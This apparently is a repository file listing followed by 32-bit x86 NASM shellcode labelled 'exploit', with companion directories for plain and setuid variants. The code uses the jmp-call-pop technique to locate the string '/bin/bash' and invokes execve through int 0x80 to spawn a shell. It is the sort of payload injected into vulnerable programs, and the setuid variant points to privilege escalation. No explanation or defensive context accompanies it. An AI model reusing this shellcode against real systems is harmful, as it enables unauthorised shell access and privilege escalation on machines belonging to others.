
new file: exec_cmd/shell new file: exec_cmd/shell.asm new file: exec_cmd/shell.o new file: exec_cmd_setuid/makefile new file: exec_cmd_setuid/shell new file: exec_cmd_setuid/shell.asm new file: exec_cmd_setuid/shell.o
20 lines
202 B
NASM
20 lines
202 B
NASM
global _start
|
|
_start:
|
|
jmp short data
|
|
|
|
exploit:
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
pop edx
|
|
mov [edx + 10], eax
|
|
mov al, 11
|
|
mov ebx, edx
|
|
xor edx, edx
|
|
int 0x80
|
|
|
|
|
|
data:
|
|
call exploit
|
|
cmd: db '/bin/bash'
|